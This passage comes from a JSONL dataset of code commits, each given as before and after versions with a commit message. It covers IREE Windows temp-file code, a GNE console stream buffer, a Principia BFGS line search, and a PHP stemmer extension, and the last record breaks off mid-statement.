to \"\n           << destination_path;\n  }\n  return OkStatus();\n}\n\nstd::string GetTempPath() {\n  IREE_TRACE_SCOPE0(\"file_io::GetTempPath\");\n\n  \/\/ TEST_TMPDIR will point to a writeable temp path when running bazel tests.\n  char* test_tmpdir = getenv(\"TEST_TMPDIR\");\n  if (test_tmpdir) {\n    return test_tmpdir;\n  }\n\n  std::string temp_path(64, '\\0');\n  for (bool retry_query = true; retry_query;) {\n    DWORD required_length = ::GetTempPathA(temp_path.size(), &temp_path[0]);\n    retry_query = required_length > temp_path.size();\n    temp_path.resize(required_length);\n  }\n  return temp_path;\n}\n\nStatusOr<std::string> GetTempFile(absl::string_view base_name) {\n  IREE_TRACE_SCOPE0(\"file_io::GetTempFile\");\n\n  std::string temp_path = GetTempPath();\n  std::string template_path =\n      file_path::JoinPaths(temp_path, base_name) + \"XXXXXX\";\n\n  if (::_mktemp(&template_path[0]) != nullptr) {\n    return template_path;  \/\/ Should have been modified by _mktemp.\n  } else {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to create temp file with template \" << template_path;\n  }\n}\n\n}  \/\/ namespace file_io\n}  \/\/ namespace iree\n\n#endif  \/\/ IREE_PLATFORM_WINDOWS\n<|endoftext|>"}
{"text":"<commit_before>\/* GNE - Game Networking Engine, a portable multithreaded networking library.\n * Copyright (C) 2001 Jason Winnebeck (gillius@mail.rit.edu)\n * Project website: http:\/\/www.rit.edu\/~jpw9607\/\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n#ifdef OLD_CPP\n#include \"OldConsoleStreambuf.inc\"\n#else\n#include \"..\/include\/gnelib\/gneintern.h\"\n#include \"..\/include\/gnelib\/ConsoleStreambuf.h\"\n#include \"..\/include\/gnelib\/Console.h\"\n#include <streambuf>\n\nnamespace GNE {\nnamespace Console {\n\n\/\/--------------------------------\n\/\/\n\/\/    ginbuf implementation\n\/\/\n\/\/--------------------------------\nconst int IBUF_LEN = 128;\n\n\/\/##ModelId=3BF8444503C9\nginbuf::ginbuf() {\n  buf = new char[IBUF_LEN];\n  setg(buf, buf + IBUF_LEN, buf + IBUF_LEN);\n}\n\n\/\/##ModelId=3BF8444503CA\nginbuf::~ginbuf() {\n  delete[] buf;\n}\n\n\/\/##ModelId=3BF8444503CB\nginbuf::int_type ginbuf::underflow() {\n  \/\/If there is data still in the input buffer, return it.\n  if (gptr() < egptr())\n    return traits_type::to_int_type(*gptr());\n  \n  \/\/else get some more data, and leave room for '\\n'\n  GNE::Console::getString(buf, IBUF_LEN-2);\n  GNE::Console::mputchar('\\n'); \/\/Advance the line ourselves, since getString\n                                \/\/doesn't.\n\n  \/\/We have to append the newline ourselves\n  int x = strlen(buf);\n  buf[x] = '\\n';\n  x++;\n  buf[x] = '\\0';\n  \n  \/\/Set the input buffer to the string read:\n  setg(buf, buf, buf + x);\n  \n  \/\/Return the next character ready to be read.\n  return traits_type::to_int_type(*buf);\n}\n\n\/\/--------------------------------\n\/\/\n\/\/    goutbuf implementation\n\/\/\n\/\/--------------------------------\nconst int OBUF_LEN = 256;\n\n\/\/##ModelId=3BF8444503CD\ngoutbuf::goutbuf() : x(-1), y(-1) {\n  buf = new char[OBUF_LEN];\n  setp(buf, buf + OBUF_LEN - 1);\n  \/\/We want to leave ourselves a character at the end, so that we may null\n  \/\/terminate the string during a flush to output a whole string at a time.\n}\n\n\/\/##ModelId=3BF8444503CE\ngoutbuf::~goutbuf() {\n  \/\/Actually we don't want to flush, because when this dtor is called we can't\n  \/\/output.\n  flush_output();\n  delete[] buf;\n}\n\n\/\/##ModelId=3BF8BBF902E6\nvoid goutbuf::setNextWriteLoc(int xLoc, int yLoc) {\n  x = xLoc;\n  y = yLoc;\n}\n\n\/\/##ModelId=3BF8444503CF\nint goutbuf::sync() {\n  flush_output();\n  return 0;\n}\n\n\/\/##ModelId=3BF8444503D0\nvoid goutbuf::flush_output() {\n  \/\/We always have a space for the null pointer because we reserved an\n  \/\/extra position when we called setp, and we do so again at the end of\n  \/\/this function.\n  if (pptr() > pbase()) {\n    *pptr() = '\\0';\n    if (x != -1) { \/\/Do a mlprintf if a location was set.\n      assert(y != -1);\n      Console::mlprintf(x, y, pbase());\n      x = y = -1;  \/\/Unset last location.\n    } else\n      Console::mprintf(pbase());\n    setp(buf, buf + OBUF_LEN - 1);\n  }\n}\n\n\/\/##ModelId=3BF8444503D1\ngoutbuf::int_type goutbuf::overflow(int_type meta) {\n  if (meta != traits_type::eof()) {\n    flush_output();\n    Console::mputchar(traits_type::to_char_type(meta));\n  }\n  return traits_type::not_eof(meta);\n}\n  \n\/\/##ModelId=3BF8444503D3\nstd::streamsize goutbuf::xsputn(const char_type *ptr, std::streamsize count) {\n  for (int i=0; i<count; i++) {\n    sputc(ptr[i]);\n    if (ptr[i] == '\\n')\n      flush_output();\n  }\n  return count;\n}\n  \n} \/\/namespace Console\n} \/\/namespace GNE\n\n#endif \/\/#ifdef OLD_CPP #else\n<commit_msg>Made a note of a small bug.<commit_after>\/* GNE - Game Networking Engine, a portable multithreaded networking library.\n * Copyright (C) 2001 Jason Winnebeck (gillius@mail.rit.edu)\n * Project website: http:\/\/www.rit.edu\/~jpw9607\/\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n#ifdef OLD_CPP\n#include \"OldConsoleStreambuf.inc\"\n#else\n#include \"..\/include\/gnelib\/gneintern.h\"\n#include \"..\/include\/gnelib\/ConsoleStreambuf.h\"\n#include \"..\/include\/gnelib\/Console.h\"\n#include <streambuf>\n\nnamespace GNE {\nnamespace Console {\n\n\/\/--------------------------------\n\/\/\n\/\/    ginbuf implementation\n\/\/\n\/\/--------------------------------\nconst int IBUF_LEN = 128;\n\n\/\/##ModelId=3BF8444503C9\nginbuf::ginbuf() {\n  buf = new char[IBUF_LEN];\n  setg(buf, buf + IBUF_LEN, buf + IBUF_LEN);\n}\n\n\/\/##ModelId=3BF8444503CA\nginbuf::~ginbuf() {\n  delete[] buf;\n}\n\n\/\/##ModelId=3BF8444503CB\nginbuf::int_type ginbuf::underflow() {\n  \/\/If there is data still in the input buffer, return it.\n  if (gptr() < egptr())\n    return traits_type::to_int_type(*gptr());\n  \n  \/\/else get some more data, and leave room for '\\n'\n  GNE::Console::getString(buf, IBUF_LEN-2);\n  GNE::Console::mputchar('\\n'); \/\/Advance the line ourselves, since getString\n                                \/\/doesn't.\n\n  \/\/We have to append the newline ourselves\n  int x = strlen(buf);\n  buf[x] = '\\n';\n  x++;\n  buf[x] = '\\0';\n  \n  \/\/Set the input buffer to the string read:\n  setg(buf, buf, buf + x);\n  \n  \/\/Return the next character ready to be read.\n  return traits_type::to_int_type(*buf);\n}\n\n\/\/--------------------------------\n\/\/\n\/\/    goutbuf implementation\n\/\/\n\/\/--------------------------------\nconst int OBUF_LEN = 256;\n\n\/\/##ModelId=3BF8444503CD\ngoutbuf::goutbuf() : x(-1), y(-1) {\n  buf = new char[OBUF_LEN];\n  setp(buf, buf + OBUF_LEN - 1);\n  \/\/We want to leave ourselves a character at the end, so that we may null\n  \/\/terminate the string during a flush to output a whole string at a time.\n}\n\n\/\/##ModelId=3BF8444503CE\ngoutbuf::~goutbuf() {\n  \/\/Actually we don't want to flush, because when this dtor is called we can't\n  \/\/output.\n  flush_output();\n  delete[] buf;\n}\n\n\/\/##ModelId=3BF8BBF902E6\nvoid goutbuf::setNextWriteLoc(int xLoc, int yLoc) {\n  x = xLoc;\n  y = yLoc;\n}\n\n\/\/##ModelId=3BF8444503CF\nint goutbuf::sync() {\n  flush_output();\n  return 0;\n}\n\n\/\/##ModelId=3BF8444503D0\n\/**\n * \\bug does not handle nulls in the stream properly in all cases although\n *      most of the time it works.  It seems at least for the case of\n *      a null followed by a newline it ignores the newline.  Other cases\n *      seem to work.\n *\/\nvoid goutbuf::flush_output() {\n  \/\/We always have a space for the null pointer because we reserved an\n  \/\/extra position when we called setp, and we do so again at the end of\n  \/\/this function.\n  if (pptr() > pbase()) {\n    *pptr() = '\\0';\n    if (x != -1) { \/\/Do a mlprintf if a location was set.\n      assert(y != -1);\n      Console::mlprintf(x, y, pbase());\n      x = y = -1;  \/\/Unset last location.\n    } else\n      Console::mprintf(pbase());\n    setp(buf, buf + OBUF_LEN - 1);\n  }\n}\n\n\/\/##ModelId=3BF8444503D1\ngoutbuf::int_type goutbuf::overflow(int_type meta) {\n  if (meta != traits_type::eof()) {\n    flush_output();\n    Console::mputchar(traits_type::to_char_type(meta));\n  }\n  return traits_type::not_eof(meta);\n}\n  \n\/\/##ModelId=3BF8444503D3\nstd::streamsize goutbuf::xsputn(const char_type *ptr, std::streamsize count) {\n  for (int i=0; i<count; i++) {\n    sputc(ptr[i]);\n    if (ptr[i] == '\\n')\n      flush_output();\n  }\n  return count;\n}\n  \n} \/\/namespace Console\n} \/\/namespace GNE\n\n#endif \/\/#ifdef OLD_CPP #else\n<|endoftext|>"}
{"text":"<commit_before>﻿\n#pragma once\n\n#include \"numerics\/gradient_descent.hpp\"\n\n#include <optional>\n\n#include \"geometry\/grassmann.hpp\"\n#include \"geometry\/r3x3_matrix.hpp\"\n#include \"geometry\/symmetric_bilinear_form.hpp\"\n#include \"mathematica\/mathematica.hpp\"\n#include \"numerics\/hermite3.hpp\"\n#include \"quantities\/named_quantities.hpp\"\n#include \"quantities\/si.hpp\"\n\nnamespace principia {\nnamespace numerics {\nnamespace internal_gradient_descent {\n\nusing geometry::Displacement;\nusing geometry::InnerProduct;\nusing geometry::Normalize;\nusing geometry::R3x3Matrix;\nusing geometry::SymmetricBilinearForm;\nusing geometry::SymmetricProduct;\nusing quantities::Abs;\nusing quantities::Quotient;\nusing quantities::Square;\nusing quantities::si::Kilo;\nusing quantities::si::Metre;\nnamespace si = quantities::si;\n\n\/\/ The type of Hₖ, which approximates the inverse of the Hessian.\ntemplate<typename Scalar, typename Frame>\nusing InverseHessian =\n    SymmetricBilinearForm<Quotient<Square<Length>, Scalar>, Frame, Vector>;\n\n\/\/ The line search follows [NW06], algorithms 3.5 and 3.6, which guarantee that\n\/\/ the chosen step obeys the strong Wolfe conditions.\n\nconstexpr double c₁ = 1e-4;\nconstexpr double c₂ = 0.9;\nconstexpr double α_max = 1e9;\n\ntemplate<typename Scalar, typename Frame>\ndouble Zoom(double α_lo,\n            double α_hi,\n            Scalar const& ϕ_0,\n            Scalar const& ϕʹ_0,\n            Position<Frame> const& x,\n            Displacement<Frame> const& p,\n            Field<Scalar, Frame> const& f,\n            Field<Gradient<Scalar, Frame>, Frame> const& grad_f) {\n  auto ϕ_α_lo = f(x + α_lo * p);\n  for (;;) {\n    auto αⱼ = (α_lo + α_hi) \/ 2;  \/\/\/\/\n    auto const ϕ_αⱼ = f(x + αⱼ * p);\n    if (ϕ_αⱼ > ϕ_0 + c₁ * αⱼ * ϕʹ_0 || ϕ_αⱼ >= ϕ_α_lo) {\n      α_hi = αⱼ;\n    } else {\n      auto const ϕʹ_αⱼ = InnerProduct(grad_f(x + αⱼ * p), p);\n      if (Abs(ϕʹ_αⱼ) <= -c₂ * ϕʹ_0) {\n        return αⱼ;\n      }\n      if (ϕʹ_αⱼ * (α_hi - α_lo) >= Scalar{}) {\n        α_hi = α_lo;\n      }\n      α_lo = αⱼ;\n      ϕ_α_lo = ϕ_αⱼ;\n    }\n  }\n}\n\ntemplate<typename Scalar, typename Frame>\ndouble LineSearch(Position<Frame> const& x,\n                  Displacement<Frame> const& p,\n                  Field<Scalar, Frame> const& f,\n                  Field<Gradient<Scalar, Frame>, Frame> const& grad_f) {\n  auto const ϕ_0 = f(x);\n  auto const ϕʹ_0 = InnerProduct(grad_f(x), p);\n  double αᵢ₋₁ = 0;  \/\/ α₀.\n  double αᵢ = 1;    \/\/ α₁.\n  Scalar ϕ_αᵢ₋₁ = ϕ_0;\n  Scalar ϕʹ_αᵢ₋₁ = ϕʹ_0;\n  while (αᵢ < α_max) {\n    auto const ϕ_αᵢ = f(x + αᵢ * p);\n    \/\/ For i = 1 the second condition implies the first, so it has no effect on\n    \/\/ the disjuntion (thus, the test on i in [NW06] is unnecessary).\n    if (ϕ_αᵢ > ϕ_0 + c₁ * αᵢ * ϕʹ_0 || ϕ_αᵢ >= ϕ_αᵢ₋₁) {\n      return Zoom(αᵢ₋₁, αᵢ, ϕ_0, ϕʹ_0, x, p, f, grad_f);\n    }\n    auto const ϕʹ_αᵢ = InnerProduct(grad_f(x + αᵢ * p), p);\n    if (Abs(ϕʹ_αᵢ) <= -c₂ * ϕʹ_0) {\n      return αᵢ;\n    }\n    if (ϕʹ_αᵢ >= Scalar{}) {\n      return Zoom(αᵢ, αᵢ₋₁, ϕ_0, ϕʹ_0, x, p, f, grad_f);\n    }\n\n    \/\/ Cubic interpolation.\n    Hermite3<double, Scalar> const hermite3(\n        {αᵢ₋₁, αᵢ}, {ϕ_αᵢ₋₁, ϕ_αᵢ}, {ϕʹ_αᵢ₋₁, ϕʹ_αᵢ});\n\n    αᵢ₋₁ = αᵢ;\n    ϕ_αᵢ₋₁ = ϕ_αᵢ;\n    ϕʹ_αᵢ₋₁ = ϕʹ_αᵢ;\n\n    auto const extrema = hermite3.FindExtrema();\n    if (extrema.empty() || extrema.back() <= αᵢ) {\n      αᵢ *= 2;\n    } else {\n      for (double const extremum : extrema) {\n        if (extremum > αᵢ) {\n          αᵢ = extremum;\n          break;\n        }\n      }\n    }\n  }\n  return αᵢ;\n}\n\n\/\/ The implementation of BFGS follows [NW06], algorithm 6.18.\ntemplate<typename Scalar, typename Frame>\nPosition<Frame> BroydenFletcherGoldfarbShanno(\n    Position<Frame> const& start_position,\n    Field<Scalar, Frame> const& f,\n    Field<Gradient<Scalar, Frame>, Frame> const& grad_f,\n    Length const& tolerance) {\n  static SymmetricBilinearForm<double, Frame, Vector> const identity =\n      SymmetricBilinearForm<double, Frame, Vector>::Identity();\n\n  mathematica::Logger logger(TEMP_DIR \/ \"gradient_descent.wl\");\n\n  \/\/ The first step uses vanilla steepest descent.\n  auto const x₀ = start_position;\n  auto const grad_f_x₀ = grad_f(x₀);\n\n  \/\/ We (ab)use the tolerance to determine the first step size.  The assumption\n  \/\/ is that, if the caller provides a reasonable value then (1) we won't miss\n  \/\/ \"interesting features\" of f; (2) the finite differences won't underflow or\n  \/\/ have other unpleasant properties.\n  Displacement<Frame> const p₀ = -Normalize(grad_f_x₀) * tolerance;\n\n  double const α₀ = LineSearch(x₀, p₀, f, grad_f);\n  auto const x₁ = x₀+ α₀ * p₀;\n\n  \/\/ Special computation of H₀ using eq. 6.20.\n  auto const grad_f_x₁ = grad_f(x₁);\n  Displacement<Frame> const s₀ = x₁ - x₀;\n  auto const y₀ = grad_f_x₁ - grad_f_x₀;\n  InverseHessian<Scalar, Frame> const H₀ =\n      InnerProduct(s₀, y₀) * identity \/ y₀.Norm²();\n\n  auto xₖ = x₁;\n  auto grad_f_xₖ = grad_f_x₁;\n  auto Hₖ = H₀;\n  for (;;) {\n    logger.Append(\"grad\",\n                  std::tuple{xₖ, grad_f_xₖ},\n                  mathematica::ExpressIn(quantities::si::Metre));\n    logger.Append(\"inverseHessian\",\n                  Hₖ,\n                  mathematica::ExpressIn(quantities::si::Metre));\n    Displacement<Frame> const pₖ = -Hₖ * grad_f_xₖ;\n    if (pₖ.Norm() <= tolerance) {\n      return xₖ;\n    }\n    double const αₖ = LineSearch(xₖ, pₖ, f, grad_f);\n    auto const xₖ₊₁ = xₖ + αₖ * pₖ;\n    auto const grad_f_xₖ₊₁ = grad_f(xₖ₊₁);\n    auto const sₖ = xₖ₊₁ - xₖ;\n    auto const yₖ = grad_f_xₖ₊₁ - grad_f_xₖ;\n    \/\/ The formula (6.17) from [NW06] is inconvenient because it uses external\n    \/\/ products.  Elementary transformations yield the formula below.\n    auto const ρ = 1 \/ InnerProduct(sₖ, yₖ);\n    auto const Hₖ₊₁ =\n        Hₖ + ρ * ((ρ * Hₖ(yₖ, yₖ) + 1) * SymmetricProduct(sₖ, sₖ) -\n                  2 * SymmetricProduct(Hₖ * yₖ, sₖ));\n\n    xₖ = xₖ₊₁;\n    grad_f_xₖ = grad_f_xₖ₊₁;\n    Hₖ = Hₖ₊₁;\n  }\n  return xₖ;\n}\n\n}  \/\/ namespace internal_gradient_descent\n}  \/\/ namespace numerics\n}  \/\/ namespace principia\n<commit_msg>Interpolation in Zoom.<commit_after>﻿\n#pragma once\n\n#include \"numerics\/gradient_descent.hpp\"\n\n#include <optional>\n\n#include \"geometry\/grassmann.hpp\"\n#include \"geometry\/r3x3_matrix.hpp\"\n#include \"geometry\/symmetric_bilinear_form.hpp\"\n#include \"mathematica\/mathematica.hpp\"\n#include \"numerics\/hermite2.hpp\"\n#include \"quantities\/named_quantities.hpp\"\n#include \"quantities\/si.hpp\"\n\nnamespace principia {\nnamespace numerics {\nnamespace internal_gradient_descent {\n\nusing geometry::Displacement;\nusing geometry::InnerProduct;\nusing geometry::Normalize;\nusing geometry::R3x3Matrix;\nusing geometry::SymmetricBilinearForm;\nusing geometry::SymmetricProduct;\nusing quantities::Abs;\nusing quantities::Quotient;\nusing quantities::Square;\nusing quantities::si::Kilo;\nusing quantities::si::Metre;\nnamespace si = quantities::si;\n\n\/\/ The type of Hₖ, which approximates the inverse of the Hessian.\ntemplate<typename Scalar, typename Frame>\nusing InverseHessian =\n    SymmetricBilinearForm<Quotient<Square<Length>, Scalar>, Frame, Vector>;\n\n\/\/ The line search follows [NW06], algorithms 3.5 and 3.6, which guarantee that\n\/\/ the chosen step obeys the strong Wolfe conditions.\n\nconstexpr double c₁ = 1e-4;\nconstexpr double c₂ = 0.9;\nconstexpr double α_multiplier = 2;\n\ntemplate<typename Scalar, typename Frame>\ndouble Zoom(double α_lo,\n            double α_hi,\n            Scalar ϕ_α_lo,\n            Scalar ϕ_α_hi,\n            Scalar ϕʹ_α_lo,\n            Scalar const& ϕ_0,\n            Scalar const& ϕʹ_0,\n            Position<Frame> const& x,\n            Displacement<Frame> const& p,\n            Field<Scalar, Frame> const& f,\n            Field<Gradient<Scalar, Frame>, Frame> const& grad_f) {\n  for (;;) {\n    double αⱼ;\n    {\n      \/\/ Quadratic interpolation.\n      Hermite2<Scalar, double> const hermite2(\n          {α_lo, α_hi}, {ϕ_α_lo, ϕ_α_hi}, ϕʹ_α_lo);\n      auto const α_extremum = hermite2.FindExtremum();\n      if (α_lo < α_extremum && α_extremum < α_hi) {\n        αⱼ = α_extremum;\n      } else {\n        \/\/ Fall back to bisection.\n        αⱼ = (α_lo + α_hi) \/ 2;\n      }\n    }\n\n    auto const ϕ_αⱼ = f(x + αⱼ * p);\n    if (ϕ_αⱼ > ϕ_0 + c₁ * αⱼ * ϕʹ_0 || ϕ_αⱼ >= ϕ_α_lo) {\n      α_hi = αⱼ;\n      ϕ_α_hi = ϕ_αⱼ;\n    } else {\n      auto const ϕʹ_αⱼ = InnerProduct(grad_f(x + αⱼ * p), p);\n      if (Abs(ϕʹ_αⱼ) <= -c₂ * ϕʹ_0) {\n        return αⱼ;\n      }\n      if (ϕʹ_αⱼ * (α_hi - α_lo) >= Scalar{}) {\n        α_hi = α_lo;\n        ϕ_α_hi = ϕ_α_lo;\n      }\n      α_lo = αⱼ;\n      ϕ_α_lo = ϕ_αⱼ;\n      ϕʹ_α_lo = ϕʹ_αⱼ;\n    }\n  }\n}\n\ntemplate<typename Scalar, typename Frame>\ndouble LineSearch(Position<Frame> const& x,\n                  Displacement<Frame> const& p,\n                  Field<Scalar, Frame> const& f,\n                  Field<Gradient<Scalar, Frame>, Frame> const& grad_f) {\n  auto const ϕ_0 = f(x);\n  auto const ϕʹ_0 = InnerProduct(grad_f(x), p);\n  double αᵢ₋₁ = 0;  \/\/ α₀.\n  double αᵢ = 1;    \/\/ α₁.\n  Scalar ϕ_αᵢ₋₁ = ϕ_0;\n  Scalar ϕʹ_αᵢ₋₁ = ϕʹ_0;\n  for (;;) {\n    auto const ϕ_αᵢ = f(x + αᵢ * p);\n    \/\/ For i = 1 the second condition implies the first, so it has no effect on\n    \/\/ the disjuntion (thus, the test on i in [NW06] is unnecessary).\n    if (ϕ_αᵢ > ϕ_0 + c₁ * αᵢ * ϕʹ_0 || ϕ_αᵢ >= ϕ_αᵢ₋₁) {\n      return Zoom(αᵢ₋₁, αᵢ,\n                  ϕ_αᵢ₋₁, ϕ_αᵢ,\n                  ϕʹ_αᵢ₋₁,\n                  ϕ_0, ϕʹ_0,\n                  x, p, f, grad_f);\n    }\n    auto const ϕʹ_αᵢ = InnerProduct(grad_f(x + αᵢ * p), p);\n    if (Abs(ϕʹ_αᵢ) <= -c₂ * ϕʹ_0) {\n      return αᵢ;\n    }\n    if (ϕʹ_αᵢ >= Scalar{}) {\n      return Zoom(αᵢ, αᵢ₋₁,\n                  ϕ_αᵢ, ϕ_αᵢ₋₁,\n                  ϕʹ_αᵢ,\n                  ϕ_0, ϕʹ_0,\n                  x, p, f, grad_f);\n    }\n\n    \/\/ We don't have a maximum value of α so we blindly increase it until the\n    \/\/ conditions are met.\n    αᵢ *= α_multiplier;\n  }\n  return αᵢ;\n}\n\n\/\/ The implementation of BFGS follows [NW06], algorithm 6.18.\ntemplate<typename Scalar, typename Frame>\nPosition<Frame> BroydenFletcherGoldfarbShanno(\n    Position<Frame> const& start_position,\n    Field<Scalar, Frame> const& f,\n    Field<Gradient<Scalar, Frame>, Frame> const& grad_f,\n    Length const& tolerance) {\n  static SymmetricBilinearForm<double, Frame, Vector> const identity =\n      SymmetricBilinearForm<double, Frame, Vector>::Identity();\n\n  mathematica::Logger logger(TEMP_DIR \/ \"gradient_descent.wl\");\n\n  \/\/ The first step uses vanilla steepest descent.\n  auto const x₀ = start_position;\n  auto const grad_f_x₀ = grad_f(x₀);\n\n  \/\/ We (ab)use the tolerance to determine the first step size.  The assumption\n  \/\/ is that, if the caller provides a reasonable value then (1) we won't miss\n  \/\/ \"interesting features\" of f; (2) the finite differences won't underflow or\n  \/\/ have other unpleasant properties.\n  Displacement<Frame> const p₀ = -Normalize(grad_f_x₀) * tolerance;\n\n  double const α₀ = LineSearch(x₀, p₀, f, grad_f);\n  auto const x₁ = x₀+ α₀ * p₀;\n\n  \/\/ Special computation of H₀ using eq. 6.20.\n  auto const grad_f_x₁ = grad_f(x₁);\n  Displacement<Frame> const s₀ = x₁ - x₀;\n  auto const y₀ = grad_f_x₁ - grad_f_x₀;\n  InverseHessian<Scalar, Frame> const H₀ =\n      InnerProduct(s₀, y₀) * identity \/ y₀.Norm²();\n\n  auto xₖ = x₁;\n  auto grad_f_xₖ = grad_f_x₁;\n  auto Hₖ = H₀;\n  for (;;) {\n    logger.Append(\"grad\",\n                  std::tuple{xₖ, grad_f_xₖ},\n                  mathematica::ExpressIn(quantities::si::Metre));\n    logger.Append(\"inverseHessian\",\n                  Hₖ,\n                  mathematica::ExpressIn(quantities::si::Metre));\n    Displacement<Frame> const pₖ = -Hₖ * grad_f_xₖ;\n    if (pₖ.Norm() <= tolerance) {\n      return xₖ;\n    }\n    double const αₖ = LineSearch(xₖ, pₖ, f, grad_f);\n    auto const xₖ₊₁ = xₖ + αₖ * pₖ;\n    auto const grad_f_xₖ₊₁ = grad_f(xₖ₊₁);\n    auto const sₖ = xₖ₊₁ - xₖ;\n    auto const yₖ = grad_f_xₖ₊₁ - grad_f_xₖ;\n    \/\/ The formula (6.17) from [NW06] is inconvenient because it uses external\n    \/\/ products.  Elementary transformations yield the formula below.\n    auto const ρ = 1 \/ InnerProduct(sₖ, yₖ);\n    auto const Hₖ₊₁ =\n        Hₖ + ρ * ((ρ * Hₖ(yₖ, yₖ) + 1) * SymmetricProduct(sₖ, sₖ) -\n                  2 * SymmetricProduct(Hₖ * yₖ, sₖ));\n\n    xₖ = xₖ₊₁;\n    grad_f_xₖ = grad_f_xₖ₊₁;\n    Hₖ = Hₖ₊₁;\n  }\n  return xₖ;\n}\n\n}  \/\/ namespace internal_gradient_descent\n}  \/\/ namespace numerics\n}  \/\/ namespace principia\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"..\/MultiTokenizer.h\"\n#include \"..\/Stemmer.h\"\n\nusing namespace std;\n\nenum {\n\tDISKERROR_STEM_RETURN_ARRAY = 1,\n\tDISKERROR_STEM_RETURN_BIGRAM\n};\n\nPhp::Value stem(Php::Parameters &params)\n{\n\tstatic MultiTokenizer tokenizer;\n\n\tstring p = params[0];\n\ttokenizer.SetText(p);\n\tint prefs = 0;\n\n\tif (params.size() > 1) {\n\t\tprefs = (int) params[1];\n\t}\n\n\tstring outputText, token, thisOne, lastOne;\n\tstatic Stemmer stem;\n\tvector<string> outputArray;\n\n\tswitch (prefs) {\n\t\tcase 0:\n\t\t\twhile ((token = tokenizer.Get()) != \"\") {\n\t\t\t\toutputText += stem(token) + \" \";\n\t\t\t}\n\n\t\t\tif (outputText.size()) {\n\t\t\t\toutputText.pop_back();    \/\/\tremove extra space at end if not empty\n\t\t\t}\n\n\t\t\treturn outputText;\n\n\t\tcase DISKERROR_STEM_RETURN_ARRAY:\n\t\t\twhile ((token = tokenizer.Get()) != \"\") {\n\t\t\t\toutputArray.emplace_back(stem(token));\n\t\t\t}\n\t\t\treturn outputArray;\n\n\t\tcase DISKERROR_STEM_RETURN_BIGRAM:\n\t\t\twhile ((token = tokenizer.Get()) != \"\") {\n\t\t\t\tthisOne = stem(token);\n\t\t\t\toutputText += (lastOne + thisOne + \" \");\n\t\t\t\tlastOne = thisOne;\n\t\t\t}\n\t\t\toutputText += lastOne;\n\t\t\treturn outputText;\n\n\t\tcase DISKERROR_STEM_RETURN_ARRAY | DISKERROR_STEM_RETURN_BIGRAM:\n\t\t\twhile ((token = tokenizer.Get()) != \"\") {\n\t\t\t\tthisOne = stem(token);\n\t\t\t\toutputArray.emplace_back(lastOne + thisOne);\n\t\t\t\tlastOne = thisOne;\n\t\t\t}\n\t\t\toutputArray.emplace_back(lastOne);\n\t\t\treturn outputArray;\n\n\t\tdefault:\n\t\t\tthrow Php::Exception(\"option does not exist\");\n\t}\n}\n\n\nextern \"C\" {\n\n    PHPCPP_EXPORT void *get_module()\n    {\n        \/\/ static(!) Php::Extension object that should stay in memory\n        \/\/ for the entire duration of the process (that's why it's static)\n        static Php::Extension extension(\"diskerror_stem\", \"0.4\");\n\n        extension.add(Php::Constant(\"DISKERROR_STEM_RETURN_ARRAY\", DISKERROR_STEM_RETURN_ARRAY));\n        extension.add(Php::Constant(\"DISKERROR_STEM_RETURN_BIGRAM\", DISKERROR_STEM_RETURN_BIGRAM));\n\n\t\textension.add<stem>( \"Diskerror\\\\Stem\", {\n        \tPhp::ByVal(\"subject\", Php::Type::String),\n        \tPhp::ByVal(\"options\", Php::Type::Numeric, false)\n        } );\n\n        \/\/ return the extension\n        return extension;\n    }\n}\n<commit_msg>Update main.cp<commit_after>\n#include \"..\/MultiTokenizer.h\"\n#include \"..\/Stemmer.h\"\n\nusing namespace std;\n\nenum {\n\tDISKERROR_STEM_RETURN_ARRAY = 1,\n\tDISKERROR_STEM_RETURN_BIGRAM\n};\n\nPhp::Value stem(Php::Parameters &params)\n{\n\tstatic MultiTokenizer tokenizer;\n\n\tstring p = params[0];\n\ttokenizer.SetText(p);\n\tint prefs = 0;\n\n\tif (params.size() > 1) {\n\t\tprefs = (int) params[1];\n\t}\n\n\tstring outputText, token, thisOne, lastOne;\n\tstatic Stemmer stem;\n\tvector<string> outputArray;\n\n\tswitch (prefs) {\n\t\tcase 0:\n\t\t\twhile ((token = tokenizer.Get()) != \"\") {\n\t\t\t\toutputText += stem(token) + \" \";\n\t\t\t}\n\n\t\t\tif (outputText.size()) {\n\t\t\t\toutputText.pop_back();    \/\/\tremove extra space at end if not empty\n\t\t\t}\n\n\t\t\treturn outputText;\n\n\t\tcase DISKERROR_STEM_RETURN_ARRAY:\n\t\t\twhile ((token = tokenizer.Get()) != \"\") {\n\t\t\t\toutputArray.emplace_back(stem(token));\n\t\t\t}\n\t\t\treturn outputArray;\n\n\t\tcase DISKERROR_STEM_RETURN_BIGRAM:\n\t\t\twhile ((token = tokenizer.Get()) != \"\") {\n\t\t\t\tthisOne = stem(token);\n\t\t\t\toutputText += (lastOne + thisOne + \" \");\n\t\t\t\tlastOne = thisOne;\n\t\t\t}\n\t\t\toutputText += lastOne;\n\t\t\treturn outputText;\n\n\t\tcase DISKERROR_STEM_RETURN_ARRAY | DISKERROR_STEM_RETURN_BIGRAM:\n\t\t\twhile ((token = tokenizer.Get()) != \"\") {\n\t\t\t\tthisOne = stem(token);\n\t\t\t\toutputArray.emplace_back(lastOne + thisOne);\n\t\t\t\tlastOne = thisOne;\n\t\t\t}\n\t\t\toutputArray.emplace_back(lastOne);\n\t\t\treturn 